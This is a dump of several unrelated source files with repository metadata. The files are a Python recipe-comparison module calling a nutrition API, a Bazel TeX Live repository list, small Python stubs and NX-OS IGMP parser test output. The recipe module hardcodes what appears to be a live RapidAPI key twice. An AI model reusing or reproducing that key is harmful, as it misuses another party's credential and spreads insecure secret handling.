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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8d6eeeaea1a06e8bddfaaedf81d9dd78ffa07ef1 | 69 | py | Python | jacdac/color/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | 1 | 2022-02-15T21:30:36.000Z | 2022-02-15T21:30:36.000Z | jacdac/color/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | null | null | null | jacdac/color/__init__.py | microsoft/jacdac-python | 712ad5559e29065f5eccb5dbfe029c039132df5a | [
"MIT"
] | 1 | 2022-02-08T19:32:45.000Z | 2022-02-08T19:32:45.000Z | # Autogenerated file.
from .client import ColorClient # type: ignore
| 23 | 46 | 0.782609 | 8 | 69 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.144928 | 69 | 2 | 47 | 34.5 | 0.915254 | 0.463768 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
a5fc8c662d4e51b3ae11c0c26af913a395796dbd | 3,569 | py | Python | modules/comparator.py | azhou5211/recipeat | 8d21864a7ec99e4384389c1be79723f6ccb75d67 | [
"MIT"
] | 3 | 2021-03-18T18:55:32.000Z | 2022-03-25T10:37:34.000Z | modules/comparator.py | azhou5211/recipeat | 8d21864a7ec99e4384389c1be79723f6ccb75d67 | [
"MIT"
] | 12 | 2021-03-09T07:07:31.000Z | 2021-03-15T08:42:26.000Z | modules/comparator.py | smuktevi/recipeat | 7931af517c3ad7ead932e8f4fd6df96c64d52e1c | [
"MIT"
] | 7 | 2021-02-16T02:04:24.000Z | 2021-03-22T20:48:26.000Z | import requests
from bs4 import BeautifulSoup
class Compare:
"""
Class that is used to compare recipes.
"""
@staticmethod
def nutrient_compare(recipe_list):
"""
returns HTML response with a information on nutrients in given recipes
Args:
recipe_list: list of recipe objects
Returns: list of HTML responses with nutrition information graphics
"""
nutr_html_list = []
for recipe in recipe_list:
url = (
"https://spoonacular-recipe-food-nutrition-"
"v1.p.rapidapi.com/recipes/{id}"
"/nutritionWidget?defaultCss=true"
).format(id=recipe.recipe_id)
payload = {}
headers = {
"accept": "text/html",
"x-rapidapi-key": ("c65a4130b1msh767c11b9104"
"ee56p1a93cdjsn9f1028eb2e98"),
"x-rapidapi-host": ("spoonacular-recipe-food"
"-nutrition-v1.p.rapidapi.com"),
}
response = requests.request("GET", url,
headers=headers, data=payload)
soup = BeautifulSoup(response.text, "html.parser")
for div in soup.find_all("div", {'style': ('margin-top:3px;margin-'
'right:10px;text-align:'
'right;')}):
div.decompose()
nutr_html_list.append(
'<div class="header"><h3>{recipe_name}</h3></div>'.format(
recipe_name=recipe.recipe_name
) + str(soup)
)
return nutr_html_list
@staticmethod
def ingredient_compare(recipe_list):
"""
returns HTML response with a information
on ingredients in given recipes
Args:
recipe_list: list of recipe objects
Returns: list of HTML responses with ingredient graphics
"""
ingrd_html_list = []
for recipe in recipe_list:
url = (
"https://spoonacular-recipe-food-nutrition-v1.p.rapidapi.com"
"/recipes/{id}"
"/ingredientWidget?defaultCss=true"
).format(id=recipe.recipe_id)
payload = {}
headers = {
"accept": "text/html",
"x-rapidapi-key": ("c65a4130b1msh767c11b9104"
"ee56p1a93cdjsn9f1028eb2e98"),
"x-rapidapi-host": ("spoonacular-recipe-food-"
"nutrition-v1.p.rapidapi.com"),
}
response = requests.request("GET", url,
headers=headers, data=payload)
soup = BeautifulSoup(response.text, "html.parser")
for div in soup.find_all("div", {'class': ('spoonacular-ingredient'
's-menu')}):
div.decompose()
for div in soup.find_all("div", {'style': ('margin-top:3px;margin-'
'right:10px;text-align:'
'right;')}):
div.decompose()
ingrd_html_list.append(
'<div class="header"><h3>{recipe_name}</h3></div>'.format(
recipe_name=recipe.recipe_name
) + str(soup)
)
return ingrd_html_list
| 37.568421 | 79 | 0.476604 | 308 | 3,569 | 5.422078 | 0.275974 | 0.035928 | 0.050299 | 0.071856 | 0.811976 | 0.811976 | 0.811976 | 0.811976 | 0.811976 | 0.811976 | 0 | 0.035198 | 0.418885 | 3,569 | 94 | 80 | 37.968085 | 0.77001 | 0.112917 | 0 | 0.590909 | 0 | 0 | 0.254265 | 0.161745 | 0 | 0 | 0 | 0 | 0 | 1 | 0.030303 | false | 0 | 0.030303 | 0 | 0.106061 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
572cf174954c4641f6632c65faef38060f43c86e | 654,719 | bzl | Python | repositories.bzl | m3rcuriel/bazel-latex | 16bb9b9b50587f076ca1a054b44f0791480454ba | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | repositories.bzl | m3rcuriel/bazel-latex | 16bb9b9b50587f076ca1a054b44f0791480454ba | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | repositories.bzl | m3rcuriel/bazel-latex | 16bb9b9b50587f076ca1a054b44f0791480454ba | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | load("@bazel_tools//tools/build_defs/repo:http.bzl", "http_archive")
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("bin/x86_64-cygwin", "b912288200ef93dfacd6e8a7299b0525b2a337f65e232ff8cad168e85583ecfe"),
("bin/x86_64-darwinlegacy", "078f76e082fb9dc478a05318d01b850d00e9cf57bd1806e3eacc1a0fb5819a59"),
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("bin/x86_64-linuxmusl", "f694f420eded58168bc46dec10f0358f0011a50eb47fcab3f27768efc2ff94f6"),
("bin/x86_64-linux", "8571ba7f9135cfa17149701519f207bc68d7d3f025a2924074b8e06ac9899070"),
("bin/x86_64-solaris", "0cccd358cad2a67df89ec4c267a19f06b59ff189fdf1f6f7ade1e0e3fa3d2c0b"),
]
_TEXLIVE_MODULAR_PACKAGES_OTHER = [
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("texmf/texmf-dist/bibtex/bib/amsrefs", "a3b34eb3c7a10e1f57070baf9b5f41b1951678f014e900c45c55697005485b73", []),
("texmf/texmf-dist/bibtex/bib/archaeologie", "27c7abe69bf4f1bcdd422d90bfbd8987bd57c32465f9cf998d8066ee33057b8e", []),
("texmf/texmf-dist/bibtex/bib/attachfile", "e57cd1566cda7947659b1af89a3d0fa7852a619c3e2970d181cda6c079581966", []),
("texmf/texmf-dist/bibtex/bib/base", "a937f4551e78f0373da82af52866a60bd91926a3c4f32d4d614b7b021ba2b142", []),
("texmf/texmf-dist/bibtex/bib/beebe", "d0c3dda9cdf70ff253d0b87fb449b374fc1d6c90208aac3579f5d011b33a96cc", []),
("texmf/texmf-dist/bibtex/bib/biblatex/biblatex", "1204de9bfe83e4f2061f6d2eb85db013def93c84713cb44282c41c903b75ac61", []),
("texmf/texmf-dist/bibtex/bib/cnltx", "decd0a8c405ec380fc3a2042b6506aaf8aaaae73fc2cdbbe0c0341ac08095be9", []),
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("texmf/texmf-dist/bibtex/bib/dk-bib", "77171facc5fa4a320e5545966f6e0cc5c7decc81e33b61e05370e9a9f209684a", []),
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("texmf/texmf-dist/bibtex/bib/gloss", "7e3413a3c058a594a5bbd55e2c3c716e63d96ee49e5a7a4a3dbc652a08359b28", []),
("texmf/texmf-dist/bibtex/bib/gustlib", "40df204ec368414d4c4d661c0918a87d1d52a8c1912225137965dc984340c27e", []),
("texmf/texmf-dist/bibtex/bib/harvard", "6ee2890dd0c1e01d95add07644567546cc8ec4dc5162b29697af4bfc340ea4fa", []),
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("texmf/texmf-dist/tex/xelatex/xechangebar", "71a1d674d224aa7f660b2892dcf27b962aa12ba4d8160b829fe494277d9b1d40", []),
("texmf/texmf-dist/tex/xelatex/xecjk", "d6b9cbbed2336a961d8f83494c3eb9b2949b3d0835a7aa5c379a83df79ac1ae9", []),
("texmf/texmf-dist/tex/xelatex/xecolor", "8c658edd1300811cac0eaa0cad69c0aa4c8bcad50c63460a16d6091d931e4bb2", []),
("texmf/texmf-dist/tex/xelatex/xecyr", "58318f3e34938ab506788b7875aba5fd2a7335fbc70fb2fff2976524a6fc88e9", []),
("texmf/texmf-dist/tex/xelatex/xeindex", "cf8d3067bf6f3a9e5621719752cb66e5029168a054b94e19399e92df0efece0c", []),
("texmf/texmf-dist/tex/xelatex/xepersian", "b9418de584eec3b72deeb1a6becc64415a4cdf07534a6a0dcab68f62224c6244", []),
("texmf/texmf-dist/tex/xelatex/xespotcolor", "792ea8be8d55fc6a3041b8e77c464e36d1823d9200bcfdbafa124c6f5c9eba7a", []),
("texmf/texmf-dist/tex/xelatex/xetexconfig", "f8b90ad0693b0ef621a62edacd297f354fbb9a75346994b32d566acb79949e00", []),
("texmf/texmf-dist/tex/xelatex/xetex-pstricks", "632c63e42c83c868031d872d6cdbee10830feebcccc3c9b931dbdd7044b23cfa", []),
("texmf/texmf-dist/tex/xelatex/xevlna", "b3c93b8d19a997afb36a8ad7d9a01eba30a77ba4cbe68bd72db82bef63e261f6", []),
("texmf/texmf-dist/tex/xelatex/xgreek", "9e0817f8b1e820792547741d82b0231e0f0c12e95cb4f7082be0f243796c59fa", []),
("texmf/texmf-dist/tex/xelatex/xunicode", "5a3cca9018053d1f6a0813e79261d6c9ec87c620de4c2e3669bf71366c5f0b74", []),
("texmf/texmf-dist/tex/xelatex/zhspacing", "5a57f690f2668734bbca9622eaff18a15897ad5b955afa8bf3318117d3a3cb07", []),
("texmf/texmf-dist/tex/xetex/font-change-xetex", "8836dfa843e9c84e3022a7f150420d545a1de156af627c201077bd3ffd10f674", []),
("texmf/texmf-dist/tex/xetex/xesearch", "64ba40e950df2fcab260639e053c91afc414c832123c088dba5a72c61930b8b5", []),
("texmf/texmf-dist/tex/xetex/xetexfontinfo", "1ee73befe32274f6c439f773a94719768024f1707100cd1aaf4836ddc39c6488", []),
("texmf/texmf-dist/tex/xetex/xetexko", "31dc9bfe034df8097a728524ef51967b20a1e97a0f810a3703fea82db9559ce9", []),
("texmf/texmf-dist/tex/xetex/xetex-pstricks", "632c63e42c83c868031d872d6cdbee10830feebcccc3c9b931dbdd7044b23cfa", []),
("texmf/texmf-dist/tex/xmltex/base", "c3d0b42734b7e9504795fb23e598c3d7ab8d34cfc57e59edecd1be88f4b2b088", []),
("texmf/texmf-dist/tex/xmltex/passivetex", "d806c0a766a746f30b34a6a4954f5db84f17133728ee106dfcf831fd4051ebd2", []),
("texmf/texmf-dist/tex/xmltex/xmltexconfig", "330a27ce369d7b37355d301371d3f06033ed1c6a48a05bb94898384cd24decd1", []),
("texmf/texmf-dist/ttf2pk", "ffcfe46a7ef1ce41dde9f4ece6591c609e5306853be5d7e902c88d7a0cf62c8b", []),
("texmf/texmf-dist/web2c", "0ca085db16298e059a7c36c064b476d11ccf368c50f752f5be9c818530f00519", []),
("texmf/texmf-dist/xdvi", "daf1d5ecaf6f34c4ec435c9696253557c4d013011546ee40ed44b2affc6290d6", []),
("texmf/texmf-dist/xindy", "3585359f802cc45122b5132394a0ffb076018b75cc1c686dd9746b574dfa9ece", []),
]
def latex_repositories():
for path, sha256 in _TEXLIVE_MODULAR_PACKAGES_BIN:
name = "texlive_%s" % path.replace("/", "__")
http_archive(
name = name,
build_file_content = """
exports_files(
["kpsewhich", "luatex"],
visibility = ["//visibility:public"],
)
""",
sha256 = sha256,
url = "https://github.com/ProdriveTechnologies/texlive-modular/releases/download/%s/texlive-%s-%s.tar.xz" % (_TEXLIVE_VERSION, _TEXLIVE_VERSION, path.replace("/", "--")),
)
for path, sha256, patches in _TEXLIVE_MODULAR_PACKAGES_OTHER:
name = "texlive_%s" % path.replace("/", "__")
http_archive(
name = name,
build_file_content = """
filegroup(
name = "%s",
srcs = glob(
include = ["**"],
exclude = [
"BUILD.bazel",
"WORKSPACE",
],
),
visibility = ["//visibility:public"],
)
""" % name,
patches = patches,
sha256 = sha256,
url = "https://github.com/ProdriveTechnologies/texlive-modular/releases/download/%s/texlive-%s-%s.tar.xz" % (_TEXLIVE_VERSION, _TEXLIVE_VERSION, path.replace("/", "--")),
)
http_archive(
name = "bazel_latex_latexrun",
build_file_content = "exports_files([\"latexrun\"])",
patches = [
"@bazel_latex//:patches/latexrun-force-colors",
"@bazel_latex//:patches/latexrun-pull-21",
"@bazel_latex//:patches/latexrun-pull-47",
"@bazel_latex//:patches/latexrun-pull-61",
"@bazel_latex//:patches/latexrun-pull-62",
],
sha256 = "4e1512fde5a05d1249fd6b4e6610cdab8e14ddba82a7cbb58dc7d5c0ba468c2a",
strip_prefix = "latexrun-38ff6ec2815654513c91f64bdf2a5760c85da26e",
url = "https://github.com/aclements/latexrun/archive/38ff6ec2815654513c91f64bdf2a5760c85da26e.tar.gz",
)
native.register_toolchains(
"@bazel_latex//:latex_toolchain_amd64-freebsd",
"@bazel_latex//:latex_toolchain_x86_64-darwin",
"@bazel_latex//:latex_toolchain_x86_64-linux",
)
| 119.278375 | 182 | 0.803908 | 41,050 | 654,719 | 12.819781 | 0.215006 | 0.102669 | 0.143737 | 0.098688 | 0.249538 | 0.133028 | 0.02152 | 0.008435 | 0.001345 | 0.000726 | 0 | 0.353578 | 0.05876 | 654,719 | 5,488 | 183 | 119.300109 | 0.500383 | 0 | 0 | 0.003102 | 0 | 0.000912 | 0.849314 | 0.847942 | 0 | 1 | 0 | 0 | 0 | 1 | 0.000182 | false | 0.000547 | 0.000182 | 0 | 0.000365 | 0.001095 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
57323f87222e2b4beabfa3389a68c8a37896886e | 26 | py | Python | psp_cz/__init__.py | saxicek/psp-cz-spider | 270cdd2059feffed2e61e15d60d70e93002e00d6 | [
"BSD-2-Clause-FreeBSD"
] | 1 | 2017-04-21T02:17:37.000Z | 2017-04-21T02:17:37.000Z | psp_cz/__init__.py | saxicek/psp-cz-spider | 270cdd2059feffed2e61e15d60d70e93002e00d6 | [
"BSD-2-Clause-FreeBSD"
] | 1 | 2021-07-07T04:15:18.000Z | 2021-07-07T04:15:18.000Z | psp_cz/__init__.py | saxicek/psp-cz-spider | 270cdd2059feffed2e61e15d60d70e93002e00d6 | [
"BSD-2-Clause-FreeBSD"
] | null | null | null | from .database import Base | 26 | 26 | 0.846154 | 4 | 26 | 5.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.115385 | 26 | 1 | 26 | 26 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
57344bf6a671fe701a3367140d85b9f76ef482b3 | 140 | py | Python | lab4/lab/zad2.py | BartlomiejRasztabiga/PIPR | 2d0efd57b3b84855b5a2de335493100d2682d292 | [
"MIT"
] | null | null | null | lab4/lab/zad2.py | BartlomiejRasztabiga/PIPR | 2d0efd57b3b84855b5a2de335493100d2682d292 | [
"MIT"
] | null | null | null | lab4/lab/zad2.py | BartlomiejRasztabiga/PIPR | 2d0efd57b3b84855b5a2de335493100d2682d292 | [
"MIT"
] | null | null | null | def get_polynomial_value(a, b, c, x):
return a*x**2 + b*x + c
print(list(map(lambda x: get_polynomial_value(1, 0, 0, x), [0, 1, 2])))
| 23.333333 | 71 | 0.607143 | 30 | 140 | 2.7 | 0.533333 | 0.320988 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.061404 | 0.185714 | 140 | 5 | 72 | 28 | 0.649123 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.333333 | 0.666667 | 0.333333 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
93a72d6d28d44fe5d0c703779d115547aa7f825c | 225 | py | Python | src/domain/usecase/channel/Persister.py | lorenzomartino86/anomaly-detector | 46f4f059ac9f36820fb6d5b5cf823a992013ffda | [
"Apache-2.0"
] | 1 | 2020-07-06T14:09:33.000Z | 2020-07-06T14:09:33.000Z | src/domain/usecase/channel/Persister.py | lorenzomartino86/anomaly-detector | 46f4f059ac9f36820fb6d5b5cf823a992013ffda | [
"Apache-2.0"
] | null | null | null | src/domain/usecase/channel/Persister.py | lorenzomartino86/anomaly-detector | 46f4f059ac9f36820fb6d5b5cf823a992013ffda | [
"Apache-2.0"
] | null | null | null | from abc import abstractmethod
class Persister:
@abstractmethod
def save(self, filename, object): pass
@abstractmethod
def get(self, filename): pass
@abstractmethod
def remove(self, filename): pass | 18.75 | 42 | 0.706667 | 25 | 225 | 6.36 | 0.56 | 0.320755 | 0.264151 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217778 | 225 | 12 | 43 | 18.75 | 0.903409 | 0 | 0 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0.375 | 0.125 | 0 | 0.625 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 6 |
93e456f04cc689ff08bbe6b3363b3e90dedb8b85 | 188 | py | Python | core/python/kungfu/finance/tax.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | 1 | 2019-07-12T15:35:21.000Z | 2019-07-12T15:35:21.000Z | core/python/kungfu/finance/tax.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | null | null | null | core/python/kungfu/finance/tax.py | LuJun1012/kungfu | 1ec448efffee99cc5d0c54118380ae792c0367be | [
"Apache-2.0"
] | null | null | null |
class TaxCalculator:
def __init__(self):
pass
class StockTaxCalculator(TaxCalculator):
def __init__(self):
pass
def calculate_tax(self, trade):
pass
| 15.666667 | 40 | 0.643617 | 19 | 188 | 5.894737 | 0.526316 | 0.285714 | 0.357143 | 0.428571 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.281915 | 188 | 11 | 41 | 17.090909 | 0.82963 | 0 | 0 | 0.625 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.375 | false | 0.375 | 0 | 0 | 0.625 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
93e973e12c126330b0a14a895d48b1ca75004b92 | 100 | py | Python | bioimageio/spec/model/converters.py | esgomezm/spec-bioimage-io | 2bc3f8177d5346ac94bf8a771ed619e076c6e935 | [
"MIT"
] | null | null | null | bioimageio/spec/model/converters.py | esgomezm/spec-bioimage-io | 2bc3f8177d5346ac94bf8a771ed619e076c6e935 | [
"MIT"
] | null | null | null | bioimageio/spec/model/converters.py | esgomezm/spec-bioimage-io | 2bc3f8177d5346ac94bf8a771ed619e076c6e935 | [
"MIT"
] | null | null | null | # Auto-generated by generate_passthrough_modules.py - do not modify
from .v0_3.converters import *
| 25 | 67 | 0.8 | 15 | 100 | 5.133333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022989 | 0.13 | 100 | 3 | 68 | 33.333333 | 0.862069 | 0.65 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
93ea0522093983dd25f14eaf2a71623a91db64c9 | 49 | py | Python | parse_ecli/__init__.py | kiersch/parse_ecli | ae2bfe0003e625a33845abc262480f81166aea92 | [
"MIT"
] | 2 | 2020-05-05T13:08:15.000Z | 2020-05-05T14:12:16.000Z | parse_ecli/__init__.py | kiersch/parse_ecli | ae2bfe0003e625a33845abc262480f81166aea92 | [
"MIT"
] | 1 | 2020-05-13T10:09:48.000Z | 2020-05-13T10:09:48.000Z | parse_ecli/__init__.py | kiersch/parse_ecli | ae2bfe0003e625a33845abc262480f81166aea92 | [
"MIT"
] | null | null | null | from .parse_ecli import *
from .pattern import *
| 16.333333 | 25 | 0.755102 | 7 | 49 | 5.142857 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.163265 | 49 | 2 | 26 | 24.5 | 0.878049 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f5792a490316ced2c6d7bc264d78c45ffb00012a | 85 | py | Python | stweet/search_runner/parse/__init__.py | iJohnMaged/stweet | 00f4a12b1da1be514266b74a7ca70a669f0c8ae4 | [
"MIT"
] | 1 | 2021-04-15T17:45:39.000Z | 2021-04-15T17:45:39.000Z | stweet/search_runner/parse/__init__.py | chillerno1/stweet | ff7224a7b69b711b17247db40f859e620747e20b | [
"MIT"
] | null | null | null | stweet/search_runner/parse/__init__.py | chillerno1/stweet | ff7224a7b69b711b17247db40f859e620747e20b | [
"MIT"
] | 1 | 2022-01-05T11:20:31.000Z | 2022-01-05T11:20:31.000Z | from .base_tweet_parser import BaseTweetParser
from .tweet_parser import TweetParser
| 28.333333 | 46 | 0.882353 | 11 | 85 | 6.545455 | 0.636364 | 0.305556 | 0.472222 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.094118 | 85 | 2 | 47 | 42.5 | 0.935065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
1910416a1cb922e00a4cfa0be0a0faacf9d97cd7 | 42 | py | Python | tests/__init__.py | bigdata-ustc/CangJie | a3264082fa0432d257b5c4722b14c55f9092a411 | [
"MIT"
] | 2 | 2020-03-04T02:27:29.000Z | 2020-05-22T04:07:24.000Z | tests/test_utils/__init__.py | tswsxk/CangJie | 50c5183eae1d4f10c4cf364262437afcf54427fa | [
"MIT"
] | null | null | null | tests/test_utils/__init__.py | tswsxk/CangJie | 50c5183eae1d4f10c4cf364262437afcf54427fa | [
"MIT"
] | 1 | 2020-01-07T08:34:59.000Z | 2020-01-07T08:34:59.000Z | # coding: utf-8
# 2019/12/19 @ tongshiwei
| 14 | 25 | 0.666667 | 7 | 42 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.257143 | 0.166667 | 42 | 2 | 26 | 21 | 0.542857 | 0.880952 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
19162c49b0378378d237b7ea1fb90d8ee3c171de | 2,695 | py | Python | src/genie/libs/parser/nxos/tests/ShowIpIgmpSnooping/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 204 | 2018-06-27T00:55:27.000Z | 2022-03-06T21:12:18.000Z | src/genie/libs/parser/nxos/tests/ShowIpIgmpSnooping/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 468 | 2018-06-19T00:33:18.000Z | 2022-03-31T23:23:35.000Z | src/genie/libs/parser/nxos/tests/ShowIpIgmpSnooping/cli/equal/golden_output_expected.py | balmasea/genieparser | d1e71a96dfb081e0a8591707b9d4872decd5d9d3 | [
"Apache-2.0"
] | 309 | 2019-01-16T20:21:07.000Z | 2022-03-30T12:56:41.000Z |
expected_output = {
'global_configuration': {
'enabled': 'enabled',
'v1v2_report_suppression': 'enabled',
'v3_report_suppression': 'disabled',
'link_local_groups_suppression': 'enabled',
'vpc_multicast_optimization': 'disabled',
},
'vlans': {
'1': { # configuration_vlan_id
'ip_igmp_snooping': 'enabled',
'v1v2_report_suppression': 'enabled',
'v3_report_suppression': 'disabled',
'link_local_groups_suppression': 'enabled',
'lookup_mode': 'ip',
'switch_querier': 'disabled',
'igmp_explicit_tracking': 'enabled',
'v2_fast_leave': 'disabled',
'router_ports_count': 1,
'groups_count': 0,
'vlan_vpc_function': 'enabled',
'active_ports': ['Po20','Po30'],
'report_flooding': 'disabled',
'report_flooding_interfaces': 'n/a',
'group_address_for_proxy_leaves': 'no',
},
'100': { # configuration_vlan_id
'ip_igmp_snooping': 'enabled',
'v1v2_report_suppression': 'enabled',
'v3_report_suppression': 'disabled',
'link_local_groups_suppression': 'enabled',
'lookup_mode': 'ip',
'igmp_querier': {
'address': '10.51.1.1',
'version': 2,
'interval': 125,
'last_member_query_interval': 1,
'robustness': 2,
},
'switch_querier': 'disabled',
'igmp_explicit_tracking': 'enabled',
'v2_fast_leave': 'disabled',
'router_ports_count': 2,
'groups_count': 0,
'vlan_vpc_function': 'enabled',
'active_ports': ['Po20', 'Po30'],
'report_flooding': 'disabled',
'report_flooding_interfaces': 'n/a',
'group_address_for_proxy_leaves': 'no',
},
'101': { # configuration_vlan_id
'ip_igmp_snooping': 'enabled',
'v1v2_report_suppression': 'enabled',
'v3_report_suppression': 'disabled',
'link_local_groups_suppression': 'enabled',
'lookup_mode': 'ip',
'switch_querier': 'disabled',
'igmp_explicit_tracking': 'enabled',
'v2_fast_leave': 'disabled',
'router_ports_count': 1,
'groups_count': 0,
'vlan_vpc_function': 'enabled',
'active_ports': ['Po20', 'Po30'],
'report_flooding': 'disabled',
'report_flooding_interfaces': 'n/a',
'group_address_for_proxy_leaves': 'no',
},
},
}
| 37.430556 | 55 | 0.527273 | 234 | 2,695 | 5.623932 | 0.264957 | 0.103343 | 0.051672 | 0.085106 | 0.87614 | 0.87614 | 0.87614 | 0.87614 | 0.87614 | 0.87614 | 0 | 0.028986 | 0.334323 | 2,695 | 71 | 56 | 37.957746 | 0.704571 | 0.024119 | 0 | 0.681159 | 0 | 0 | 0.509527 | 0.220274 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
